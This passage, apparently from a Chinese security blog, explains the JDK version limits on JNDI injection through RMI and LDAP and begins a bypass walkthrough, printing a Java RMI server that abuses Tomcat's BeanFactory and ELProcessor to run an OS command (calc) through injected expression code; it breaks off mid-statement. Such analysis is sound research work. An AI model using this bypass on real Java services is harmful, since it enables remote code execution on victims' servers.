Bypass JNDI高版本限制
老早就知道 JNDI 注入存在高版本限制且有相应的绕过手法了,今天来分析分析绕过高版本限制的两种手法!
前景知识
JNDI 利用 RMI 的版本限制
JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase
这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase
,在 JDK 6u132/JDK 7u122/JDK 8u113
以上的版本中这些属性默认为 false
,也就是默认不允许从远程服务器上加载 Reference
的工厂类!
对属性值的检验在 RegistryContext#decodeObject
方法上
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VJaFpaqE-1642250776250)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102161851785.png)]
JNDI 利用 LDAP 的版本限制
JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12
属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase
,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211
以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference
的工厂类!
对属性值的检验在 com.sun.naming.internal#loadClass
方法上
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VOcx1ISo-1642250776256)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102162459852.png)]
JNDI 利用 RMI 实现 Bypass 高版本限制
仔细分析过 JNDI 利用 RMI 的师傅都知道从 RMI Server 中获取到一个 Reference 之后,会先从本地 Classpath 中加载对应的类,如果找不到才从 Reference.classFactoryLocation
中远程加载对应的类!找到对应类之后通过 Class.forName(className,true)
获取 Class,并实例化后强制转换为 ObjectFactory
类然后调用 ObjectFactory.getObjectInstance
方法!所以我们的恶意代码可以放在 静态代码块/构造方法/getObjectInstance方法中
RMI Server
package com.rmi.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServerBypass2 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(8999);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper =